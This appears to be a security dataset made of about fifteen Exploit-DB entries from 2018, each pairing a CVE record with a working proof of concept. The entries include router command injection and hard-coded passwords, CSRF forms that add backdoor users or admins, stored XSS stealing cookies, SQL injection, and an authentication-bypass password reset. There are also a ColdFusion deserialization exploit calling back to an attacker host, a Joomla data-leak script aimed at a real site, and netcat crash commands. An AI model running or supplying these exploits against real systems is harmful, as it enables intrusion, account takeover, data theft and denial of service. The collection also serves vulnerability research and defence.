QLWD/code_shield huggingface dataset:
标题: GNU binutils 2.26.1 - Integer Overflow (PoC) EDB-ID: 44035 CVE: 2018-6323 类型: DOS 平台: WINDOWS 发布日期: 2018-02-14 漏洞利用脚本: # Exploit Title: Objdump - Integer Overflow Crash POC
# Date: 12.02.2018
# Exploit Author: r4xis
# Tested Version: 2.26.1
# Vuln Version: <2.29.1
# CVE: cve-2018-6323
# Tested on: Ubuntu 16.04 32-bit 
# Vulnerability Details: 
# https://www.cvedetails.com/cve/CVE-2018-6323/
# https://sourceware.org/bugzilla/show_bug.cgi?id=22746


import os

hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"
f = open("helloWorld.c", 'w')
f.write(hello)
f.close()

os.system("gcc -c helloWorld.c -o test")
# file test
# test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

f = open("test", 'rb+')
f.read(0x2c)
f.write("\xff\xff") # 65535
f.read(0x244-0x2c-2)
f.write("\x00\x00\x00\x20") # 536870912
f.close()
# readelf -h test
# Number of program headers:         65535 (536870912)

os.system("objdump -x test; rm -r helloWorld.c test") URL: https://www.exploit-db.com/exploits/44035
标题: iBall WRA150N - Multiple Vulnerabilities EDB-ID: 44043 CVE: 2018-6388 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-01-29 漏洞利用脚本: ## Vulnerabilities summary
The following advisory describes two (2) vulnerabilities found in iB-WRA150N devices, firmware 1.2.6 build 110401 Rel.47776n.

iB-WRA150N is “a powerful solution to Internet connectivity at home, small offices and work stations. The key is if you are using an ADSL2+ connection now and later decide to change to Broadband or vice-versa you don’t need to change your router. This iBall router is 2-in-1 and compatible to both – Broadband connection as well as ADSL2 connection (Telephone connection or cable operator connection). ”

The vulnerabilities found are:

Hard coded accounts
Remote command execution

## Credit
An independent security researcher, maxki4x, has reported this vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
We tried to contact iBall since December 20 2017, repeated attempts to establish contact were answered, but no details have been provided on a solution or a workaround.

CVE: CVE-2018-6388

## Vulnerabilities details

Hard coded accounts
Username: admin
Password: admin

Username: support
Password: support

Username: user
Password: user

## Remote command execution
After we logged in to the victims router – using the hard coded accounts, we can trigger the second vulnerability and achieve remote command execution.

User controlled input is not sufficiently filtered, allowing user to inject arbitrary commands into ping test arguments in Diagnostics page.

By entering the following input in the ping test arguments in Diagnostics page, the attacker can get the /etc/passwd file:

```
127.0.0.1;cat/etc/passwd
``` URL: https://www.exploit-db.com/exploits/44043
标题: NAT32 2.2 Build 22284 - Cross-Site Request Forgery EDB-ID: 44034 CVE: 2018-6941 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-02-14 漏洞利用脚本: [+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/NAT32-REMOTE-COMMAND-EXECUTION-CSRF-CVE-2018-6941.txt
[+] ISR: Apparition Security

[-_-] D1rty0tis
 

Vendor:
=============
www.nat32.com


Product:
===========
NAT32 Build (22284)

NAT32® is a versatile IP Router implemented as a WIN32 application.


Vulnerability Type:
===================
Remote Command Execution (CSRF)


CVE Reference:
==============
CVE-2018-6941


Security Issue:
================
CSRF issue exists in the HTTPD component of NAT32 v2.2 Build 22284 devices that can be exploited for Remote Code Execution.

Remote attackers can potentially execute arbitrary System Commands due to a Cross Site Request Forgery, if an authenticated NAT32 user clicks a malicious link
or visits an attacker controlled webpage as NAT32 performs no check for blind requests.

Its also worth mentioning is NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily revealed if sniffed on network.


Exploit/POC:
=============
<a href="http://VICTIM-IP:8080/shell?cmd=exec+net%20user%20HACKER%20abc123%20/add">Backdoor clicker</a>



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: February 9, 2018
Vendor acknowledgement: February 9, 2018
Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : February 12, 2018
www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily unavailable." : February 13, 2018
February 14, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c). URL: https://www.exploit-db.com/exploits/44034
标题: Hotspot Shield - Information Disclosure EDB-ID: 44042 CVE: 2018-6460 类型: LOCAL 平台: WINDOWS 发布日期: 2018-01-30 漏洞利用脚本: ## Vulnerability Summary
The following advisory describes a information disclosure found in Hotspot Shield.

Hotspot Shield “provides secure and private access to a free and open internet. Enabling access to social networks, sports, audio and video streaming, news, dating, gaming wherever you are.”

## Credit
An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
“Thank you very much again for contacting us. The info is being reviewed and if there are any questions/comments, we’ll contact you by re-opening this ticket”

CVE: CVE-2018-6460

## Vulnerability details
The HotspotShiled product runs webserver with a static IP 127.0.0.1 and port 895.

The web server using JSONP and hosts sensitive information, including, configuration.

User controlled input is not sufficiently filterd, an unauthenticated attacker can send a POST request to /status.js with parameter func=$_APPLOG.Rfunc and extract sensitive information about the machine, including wheater the user is connected to VPN, to which VPN he/she is connected to what their real IP address.

## Proof of Concept

```
<head>
<script>
var $_APPLOG = function() { return 1; }
$_APPLOG.Rfunc = function(leak){
    alert(JSON.stringify(leak));
}
</script>
</head>
<script>
    var head = document.getElementsByTagName('head')[0];
    var script = document.createElement('script');
    script.id = 'jsonp';
    script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());
    head.appendChild(script);
</script>
``` URL: https://www.exploit-db.com/exploits/44042
标题: TypeSetter CMS 5.1 - 'Host' Header Injection EDB-ID: 44028 CVE: 2018-6889 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-13 漏洞利用脚本: # Exploit Title: TypeSetter CMS 5.1 Host Header Injection
# Date: 10-02-2018
# Exploit Author: Navina Asrani
# Contact: https://twitter.com/NavinaSanjay
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://www.typesettercms.com/
# Version: 5.1
# CVE : NA
# Category: Webapp CMS

1. Description

The application allows illegitimate host header manipulation and leads to aribtary web page re-direction. This can also lead to severe attacks such as password reset or web cache poisoning

    
2. Proof of Concept

1. Visit the application
2. Tamper the request and change the host to any arbitrary header like google.com
3. The same is added in request and complete page re-direction takes place.
Exploitation Technique: A attacker can perform application modification to perform advanced attacks as as password reset/ cache poisoning etc.
Severity Level: High
Security Risk:
The presence of such a risk can lead to user cache poisoning and user re-direction
Exploit code:

GET / HTTP/1.1
Host: google.com

You can observe the page being re-directed and the Location header changed in response to: http://www.google.com/ 
   
3. Solution:
   
To Mitigate host header injections allows only a white-list of allowed host names. URL: https://www.exploit-db.com/exploits/44028
标题: Multi Language Olx Clone Script - Cross-Site Scripting EDB-ID: 44016 CVE: 2018-6845 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-10 漏洞利用脚本: ######################################################################################
# Exploit Title: Multi Language Olx Clone Script - Stored XSS
# Date: 08.02.2018
# Exploit Author: Varun Bagaria
# Web:
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/olx-clone/
# Category: Web Application
# Version:2.0.6
# Tested on: Windows 7
# CVE: NA
#######################################################################################

Proof of Concept
=================
URL: https://www.phpscriptsmall.com/product/olx-clone/
Attack Vector : Comment
Payload : <svg/onload=alert(document.cookie)>

Reproduction Steps:
------------------------------
1.Access the above URL
2. Click on "User Demo:
3. Application will be redirected to http://under24usd.com/demo/classi/
4. Goto "Register" and Create a New User
5. Now Login into the application and Click on any :Listing"
6. Click on "Comment" -> "Leave Comment" and inject <svg/onload=alert(document.cookie)>
7. Persistent XSS will be executed. URL: https://www.exploit-db.com/exploits/44016
标题: TypeSetter CMS 5.1 - Cross-Site Request Forgery EDB-ID: 44029 CVE: 2018-6888 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-13 漏洞利用脚本: # Exploit Title: TypeSetter CMS 5.1 Cross Site Request Forgery
# Date: 10-02-2018
# Exploit Author: Navina Asrani
# Contact: https://twitter.com/NavinaSanjay
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://www.typesettercms.com/
# Version: 5.1
# CVE : NA
# Category: Webapp CMS

1. Description

The application allows malcious HTTP requests to be directly executed without any hidden security token.This may lead to user account takeover or malious command execution

2. Proof of Concept

Exploit code:

<html>
  <body>
    <form action="http://localhost/cms/Admin/Users" method="POST">
      <input type="hidden" name="verified" value="475f10871b08f44c20dab5bc2cb55d17946e6c98fa8abf28c64a5a9dab0ee2e122fefcc29cae9cc2e48daf564bfe55665e26b2b2174dee14e83c5e6974cf3218" />
      <input type="hidden" name="username" value="samrat&#95;test" />
      <input type="hidden" name="password" value="sam9318" />
      <input type="hidden" name="password1" value="sam9318" />
      <input type="hidden" name="algo" value="password&#95;hash" />
      <input type="hidden" name="email" value="sam9318&#64;gmail&#46;com" />
      <input type="hidden" name="grant&#95;all" value="all" />
      <input type="hidden" name="cmd" value="newuser" />
      <input type="hidden" name="aaa" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 

   
3. Solution:

To Mitigate CSRF vulnerability, it is recommeded to enforce security tokens such as anti csrf tokens URL: https://www.exploit-db.com/exploits/44029
标题: Advantech WebAccess 8.3.0 - Remote Code Execution EDB-ID: 44031 CVE: 2018-6911 类型: REMOTE 平台: WINDOWS 发布日期: 2018-02-13 漏洞利用脚本: Vulnerability Title: Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution

Discovered by: Nassim Asrir 

Contact: wassline@gmail.com / https://www.linkedin.com/in/nassim-asrir-b73a57122/

CVE: CVE-2018-6911

Tested on: IE11 / Win10


Technical Details:
==================

The VBWinExec function in Node\AspVBObj.dll in Advantech WebAccess 8.3.0 allows remote attackers to execute arbitrary OS commands via a single argument.

Vulnerable File: C:\WebAccess\Node\AspVBObj.dll

Vulnerable Function: VBWinExec

Vulnerable Class: Include

Class Include
GUID: {55F52D11-CEA5-4D6C-9912-2C8FA03275CE}
Number of Interfaces: 1
Default Interface: _Include
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

The VBWinExec function take one parameter and the user/attacker will be able to control it to execute OS command.

Function VBWinExec (
  ByRef command  As String 
)

Exploit:
========

<title>Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution</title>
<BODY>
 <object id=rce classid="clsid:{55F52D11-CEA5-4D6C-9912-2C8FA03275CE}"></object>
 
<SCRIPT>
 
function exploit()
 {
     
     rce.VBWinExec("calc")
 
   
 }
 
</SCRIPT>
<input language=JavaScript onclick=exploit() type=button value="Exploit-Me"><br>
</body>
</HTML> URL: https://www.exploit-db.com/exploits/44031
标题: Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remote Code Execution EDB-ID: 43993 CVE: 2017-3066 类型: REMOTE 平台: WINDOWS 发布日期: 2018-02-07 漏洞利用脚本: # Exploit Title: Adobe Coldfusion BlazeDS Java Object Deserialization RCE
# Date: February 6, 2018
# Exploit Author: Faisal Tameesh (@DreadSystems)
# Company: Depth Security (https://depthsecurity.com)
# Version: Adobe Coldfusion (11.0.03.292866)
# Tested On: Windows 10 Enterprise (10.0.15063)
# CVE: CVE-2017-3066
# Advisory: https://helpx.adobe.com/security/products/coldfusion/apsb17-14.html
# Category: remote

# Notes:
# This is a two-stage deserialization exploit. The code below is the first stage.
# You will need a JRMPListener (ysoserial) listening at callback_IP:callback_port.
# After firing this exploit, and once the target server connects back, 
# JRMPListener will deliver the secondary payload for RCE.

import struct
import sys
import requests

if len(sys.argv) != 5:
    print "Usage: ./cf_blazeds_des.py target_IP target_port callback_IP callback_port"
    quit()

target_IP = sys.argv[1]
target_port = sys.argv[2]
callback_IP = sys.argv[3]
callback_port = sys.argv[4]

amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
              '\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
              struct.pack('>I', int(callback_port)) + \
              '\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';

url = "http://" + target_IP + ":" + target_port + "/flex2gateway/amf"
headers = {'Content-Type': 'application/x-amf'}
response = requests.post(url, headers=headers, data=amf_payload, verify=False) URL: https://www.exploit-db.com/exploits/43993
标题: Cisco ASA - Crash (PoC) EDB-ID: 43986 CVE: 2018-0101 类型: DOS 平台: HARDWARE 发布日期: 2018-02-07 漏洞利用脚本: #
# Cisco ASA CVE-2018-0101 Crash PoC
#
# We basically just read:
# https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-asa.pdf
#
# @zerosum0x0, @jennamagius, @aleph___naught
#

import requests, sys

headers = {}
headers['User-Agent'] = 'Open AnyConnect VPN Agent
v7.08-265-gae481214-dirty'
headers['Content-Type'] = 'application/x-www-form-urlencoded'
headers['X-Aggregate-Auth'] = '1'
headers['X-Transcend-Version'] = '1'
headers['Accept-Encoding'] = 'identity'
headers['Accept'] = '*/*'
headers['X-AnyConnect-Platform'] = 'linux-64'
headers['X-Support-HTTP-Auth'] = 'false'
headers['X-Pad'] = '0000000000000000000000000000000000000000'

xml = """<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
    <host-scan-reply>A</host-scan-reply>
</config-auth>
"""

r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False,
allow_redirects=False)

print(r.status_code)
print(r.headers)
print(r.text) URL: https://www.exploit-db.com/exploits/43986
标题: Netis WF2419 Router - Cross-Site Scripting EDB-ID: 43981 CVE: 2018-6190 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-02-05 漏洞利用脚本: # Exploit Title: Netis-WF2419 HTML Injection
# Date: 20/01/2018
# Exploit Author: Sajibe Kanti
# Author Contact :https://twitter.com/@sajibekantibd
# Vendor Homepage: http://www.netis-systems.com/
# Version: Netis-WF2419 , V3.2.41381
# Tested on: Windows 10

# CEV : CVE-2018-6190


 HTML Injection in Netis-WF2419



Netis-WF2419 is prone to an HTML-injection vulnerability because it fails
to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or script code could run in the context of the
affected site, potentially allowing the attacker to steal cookie-based
authentication credentials and control how the site is rendered to the
user; other attacks are also possible.

Netis-WF2419 is vulnerable;

Proof of Concept:

1. Go to your wireless router ip (ex. 192.168.0.1)

2. Go to Wireless Settings - tab

3. Now Click MAC Filtering -tab

4.Write  MAC Address and in -Description- write (<h1>XSS-PWD</h1>)

5.Click Add

6. Now You Can See HTML Injection



#Solution:

 Upgrade Firmware URL: https://www.exploit-db.com/exploits/43981
标题: Joomla! Component jLike 1.0 - Information Leak EDB-ID: 43977 CVE: 2018-6610 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-05 漏洞利用脚本: <?php
# # # # # 
# Exploit Title: Joomla! Component jLike 1.0 - Information Leakage
# Dork: N/A
# Date: 04.02.2018
# Vendor Homepage: http://joomlaserviceprovider.com/
# Software Link: https://extensions.joomla.org/extensions/extension/social-web/social-share/jlike/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6610
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# Want To Donate ? 
# BTC : 1NGEp2eNWRCE6gp2i31UPN6G6KBzMDdCyZ
# ETH : 0xd606c6b86a1b88c7fcc1f58f7659cfd968449cf2
# # # # #
# Description:
# Information Leakage
# 
# Proof of Concept: 
# 
# 1)
header ('Content-type: text/html; charset=UTF-8');
$url= "http://www.projectcontrolsinstitute.com/";
$p="index.php?option=com_jlike&task=getUserByCommentId&tmpl=component&format=row";
$url = file_get_contents($url.$p);
$l = json_decode($url, true);
if($l){
 echo "*-----------------------------*<br />";
foreach($l as $u){
 echo "[-] ID\n\n\n\n:\n" .$u['id']."<br />";
 echo "[-] Name\n\n:\n" .$u['name']."<br />";
 echo "[-] Email\n:\n" .$u['email']."<br />";
 echo "<br>";
}echo "*-----------------------------*";} 
else{echo "[-] No user";}
?> URL: https://www.exploit-db.com/exploits/43977
标题: Joomla! Component Zh YandexMap 6.2.1.0 - 'id' SQL Injection EDB-ID: 43975 CVE: 2018-6604 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-05 漏洞利用脚本: <!--
# # # # #
# Exploit Title: Joomla! Component Zh YandexMap 6.2.1.0 - SQL Injection
# Dork: N/A
# Date: 04.02.2018
# Vendor Homepage: http://zhuk.cc/
# Software Link: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/zh-yandexmap/
# Software Download: http://zhuk.cc/files/pkg_zhyandexmap-j30-6.2.1.0-final.zip
# Version: 6.2.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6604
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# Want To Donate ?
# BTC : 1NGEp2eNWRCE6gp2i31UPN6G6KBzMDdCyZ
# ETH : 0xd606c6b86a1b88c7fcc1f58f7659cfd968449cf2
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# # # # #
-->
<html>
<body>
<!--com_zhyandexmap/controller.php-->

<!--# 1)-->
<!--L 29: public function getPlacemarkDetails() {........}-->
<form action="http://localhost/[PATH]/index.php?option=com_zhyandexmap&no_html=1&format=raw&task=getPlacemarkDetails" method="post">
<input name="id" value="-11 UNION ALL SELECT 11,11,11,11,11,11,11,11,/*!01111CONCAT*/((/*!01111SELECT*/(@x)/*!01111FROM*/(/*!01111SELECT*/(@x:=0x00),(@NR:=0),(/*!01111SELECT*/(0)/*!01111FROM*/(INFORMATION_SCHEMA.TABLES)/*!01111WHERE*/(TABLE_SCHEMA!=0x696e116f726d6174696f6e5f736368656d61)/*!01111AND*/(0x00)IN(@x:=/*!01111CONCAT*/(@x,/*!01111LPAD*/(@NR:=@NR%1,4,0x30),0x3a20,table_name,0x3c62723e))))x)),11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11--" type="hidden">
<input type="submit" value="1-Ver Ayari">
</form>

</body>
</html> URL: https://www.exploit-db.com/exploits/43975
标题: Online Voting System - Authentication Bypass EDB-ID: 43967 CVE: 2018-6180 类型: WEBAPPS 平台: PHP 发布日期: 2018-02-05 漏洞利用脚本: # Exploit Title: Online Voting System - Authentication Bypass
# Date: 02.02.2018
# Vendor Homepage: http://themashabrand.com
# Software Link: http://themashabrand.com/p/votin
# Demo: http://localhost/Onlinevoting
# Version: 1.0
# Category: Webapps
# Exploit Author: Giulio Comi
# CVE : CVE-2018-6180


#Description

A flaw in the profile section of Online Voting System allows an unauthenticated user to set an arbitrary password for accounts registered in the application.

The application does not check the validity of the session cookie and updates the password and other fields of a user based on an incremental identifier and without requiring the current valid password for target account.

# Proof of Concept:

#!/usr/bin/env python
import requests
from time import sleep
from lxml import html


def own(auth_bypass_request):
    """
    Reset the password of a user just knowing his id
    """
    url_edit_password = "admin/profile.php"

    payload = {
               'id': 1,
               'admin': 'admin',  # overwrite the username of the victim
               'password': "ARBITRARY_PASSWORD", # overwrite the password of the victim
               'edit': ''
              }

    response = auth_bypass_request.post(target_site + url_edit_password, data=payload)

    # Parse response to check if the request was successful
    check_result = html.fromstring(response).xpath('//div[@class="alert alert-success"]//p//strong/text()')

    return(lambda: False, lambda: True)[str(check_result).find('Successfully') > -1]()


def login(login_request):
    """
    Enjoy the new password chosen for the victim
    """
    credentials = {'username': 'admin',
                   'password': "ARBITRARY_PASSWORD",
                   'usertype': 'admin',
                   'login': ''
                  }

    response = login_request.post(target_site, data=credentials)

    print(response.text)


if __name__ == "__main__":

    target_site = "http://localhost/Onlinevoting/"
    request = requests.Session()
    if own(request):
        sleep(4)  # just a bit of delay
        login(request)
    else:
        print('Maybe the given id is not registered in the application') URL: https://www.exploit-db.com/exploits/43967
标题: Claymore Dual GPU Miner 10.5 - Format String EDB-ID: 43972 CVE: 2018-6317 类型: DOS 平台: MULTIPLE 发布日期: 2018-02-05 漏洞利用脚本: Claymore’s Dual GPU Miner 10.5 and below is vulnerable to a format strings vulnerability. This allows an unauthenticated attacker to read memory addresses, or immediately terminate the mining process causing a denial of service.

After reading about the recent vulnerabilities with previous versions, I thought I should take another look at the json listener on port 3333 and see if there was any avenues of attack.

echo -e '{"id":1,"jsonrpc":"1.0","method":"test"}' | nc 192.168.1.107 3333 & printf "\n"

After realizing the buffer was printed I decided to try a few others…

Sending %s does return some strings, however I couldn’t get the hex addresses padded properly to dig in more as I kept getting unable to parse json errors. Sending %p also did yield some results but I’m sure someone more qualified may be able to exploit the stack further…

Finally, sending %n completely kills the mining process.

echo -e '{"id":1,"jsonrpc":"1.0","method":"%n"}' | nc 192.168.1.139 3333 & printf "\n"

Keep your rigs up to date, or stop opening port 3333 to the public. Seriously.

Timeline
01/26/18 — Reported

01/26/18 —Confirmed and immediately patched. 10.6 released request for 3–4 day embargo

01/31/18 — Public Disclosure URL: https://www.exploit-db.com/exploits/43972